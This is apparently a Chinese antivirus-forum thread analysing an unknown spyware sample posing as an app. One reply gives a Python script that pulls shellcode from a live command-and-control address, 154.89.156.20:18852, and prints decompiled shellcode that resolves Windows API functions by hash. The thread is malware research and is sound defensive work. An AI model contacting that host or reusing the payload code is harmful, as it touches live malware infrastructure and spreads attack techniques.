楼主: 神龟Turmi
收起左侧

[病毒样本] 未知Spyware #FakeAPP 1X

[复制链接]
wwwab
发表于 2025-10-19 23:46:04 | 显示全部楼层
kf1123 发表于 2025-10-19 21:49
看起来像是金眼狗团伙使用的木马

@神龟Turmi @驭龙 其中一个函数比对了一下,简直不能说是一模一样



https://www.secrss.com/articles/79443

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 2人气 +4 收起 理由
水过无痕。 + 1 感谢解答: )
驭龙 + 3 版区有你更精彩: )

查看全部评分

wwwab
发表于 2025-10-19 23:48:55 | 显示全部楼层
kf1123 发表于 2025-10-19 21:49
看起来像是金眼狗团伙使用的木马



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
biue
发表于 2025-10-20 00:01:59 | 显示全部楼层
腾讯电脑管家 1X

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
UNknownOoo
发表于 2025-10-20 12:12:08 | 显示全部楼层
wwwab 发表于 2025-10-19 21:00
@UNknownOoo
Profiler.json GPUCache.xml GPUCache2.xml 这三个Shellcode好像特征点比较明显(尤其是前 ...

这类文件可能不在火绒的文件实时监控范围内...不过加一下也好()
wwwab
发表于 2025-10-20 12:40:13 | 显示全部楼层
本帖最后由 wwwab 于 2025-10-20 14:17 编辑

从C2 154.89.156.20:18852拉了一下Shellcode:
  1. import socket
  2. import time
  3. import sys

  4. def download_shellcode():
  5.     host = "154.89.156.20"
  6.     port = 18852
  7.     max_retries = 5
  8.     retry_delay = 3  # seconds
  9.     buffer_size = 4096
  10.     total_data = bytearray()
  11.    
  12.     # 尝试连接服务器(带重试机制)
  13.     for _ in range(max_retries):
  14.         try:
  15.             with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  16.                 s.settimeout(15)
  17.                 s.connect((host, port))
  18.                
  19.                 # 动态接收数据
  20.                 while True:
  21.                     chunk = s.recv(buffer_size)
  22.                     if not chunk:
  23.                         break  # 连接正常关闭
  24.                     total_data.extend(chunk)
  25.                
  26.                 # 成功获取数据后退出重试循环
  27.                 break
  28.                
  29.         except (socket.error, socket.timeout) as e:
  30.             print(f"连接失败: {str(e)},{retry_delay}秒后重试...")
  31.             time.sleep(retry_delay)
  32.     else:
  33.         print("错误: 超过最大重试次数,连接失败")
  34.         sys.exit(1)
  35.    
  36.     return bytes(total_data)

  37. def save_to_file(data, filename):
  38.     with open(filename, "wb") as f:
  39.         f.write(data)
  40.     print(f"已保存 {len(data)} 字节到 {filename}")

  41. if __name__ == "__main__":
  42.     # 下载并保存shellcode
  43.     shellcode = download_shellcode()
  44.    
  45.     if shellcode:
  46.         save_to_file(shellcode, "shellcode.bin")
  47.         print("分析提示:")
  48.         print("1. 使用反汇编工具分析: radare2, IDA Pro, Ghidra")
  49.         print("2. 检查网络特征: 端口 18852/TCP")
  50.         print("3. 行为分析: VirtualAlloc + 直接执行表明是自包含代码")
  51.     else:
  52.         print("未接收到有效数据")
复制代码



  1. // positive sp value has been detected, the output may be wrong!
  2. __int64 __fastcall sub_AE4(int a1, __int64 a2, __int64 a3, char a4)
  3. {
  4.   __int64 v4; // rax
  5.   int v5; // r11d
  6.   __int64 v6; // r12
  7.   unsigned __int64 v7; // rdi
  8.   unsigned int v8; // eax
  9.   int v9; // esi
  10.   unsigned int v10; // ebx
  11.   __int64 v11; // rbp
  12.   int v12; // esi
  13.   unsigned __int64 v13; // rax
  14.   int v14; // ebp
  15.   __int64 v15; // rdx
  16.   int v17; // [rsp-10h] [rbp-24h]
  17.   unsigned int v18; // [rsp-Ch] [rbp-20h]
  18.   unsigned int v19; // [rsp-8h] [rbp-1Ch]

  19.   LODWORD(v4) = __readfsdword(0x30u);
  20.   LOBYTE(v4) = v4 | 0x57;
  21.   v7 = *(unsigned int *)(v4 + 12);
  22.   while ( 1 )
  23.   {
  24. LABEL_14:
  25.     v15 = *(unsigned int *)(v7 + 24);
  26.     if ( !(_DWORD)v15 )
  27.       return 0i64;
  28.     v8 = *(_DWORD *)(v7 + 48);
  29.     v9 = 0;
  30.     v10 = *(_DWORD *)(v7 + 44);
  31.     v7 = *(unsigned int *)v7;
  32.     v18 = v7;
  33.     v11 = *(unsigned int *)(*(unsigned int *)(v15 + 60) + v15 + 120);
  34.     v19 = v11;
  35.     if ( (_DWORD)v11 )
  36.     {
  37.       if ( HIWORD(v10) )
  38.       {
  39.         do
  40.         {
  41.           v12 = __ROR4__(v9, 13);
  42.           v17 = *(char *)v8;
  43.           if ( (char)v17 < 97 )
  44.             v9 = v17 + v12;
  45.           else
  46.             v9 = *(char *)v8 - 32 + v12;
  47.         }
  48.         while ( v5 );
  49.         v7 = (unsigned int)v7;
  50.         v11 = (unsigned int)v11;
  51.       }
  52.       v13 = (unsigned int)(v15 + *(_DWORD *)(v15 + v11 + 32));
  53.       if ( *(_DWORD *)(v15 + v11 + 24) )
  54.         break;
  55.     }
  56.   }
  57.   while ( 1 )
  58.   {
  59.     v14 = 0;
  60.     do
  61.       v14 = *(char *)(unsigned int)(v15 + *(_DWORD *)v13) + __ROR4__(v14, 13);
  62.     while ( a4 );
  63.     v7 = v18;
  64.     if ( v9 + v14 == a1 )
  65.       return (unsigned int)(v15
  66.                           + *(_DWORD *)(*(_DWORD *)(v19 + v15 + 28)
  67.                                       + 4 * (unsigned int)*(unsigned __int16 *)(*(unsigned int *)(v19 + v15 + 36) + v15)
  68.                                       + v15));
  69.     v13 = (unsigned int)(v13 + 4);
  70.     if ( !*(_DWORD *)((char *)&loc_10 + 2 * v6) )
  71.       goto LABEL_14;
  72.   }
  73. }
复制代码

似乎是通过哈希值动态解析API导出函数地址的函数。
目前好像也是和GPUCache2.xml差不多,当前尚未在此处投放其他载荷(没下放?)。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-1-15 01:03 , Processed in 0.068083 second(s), 4 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表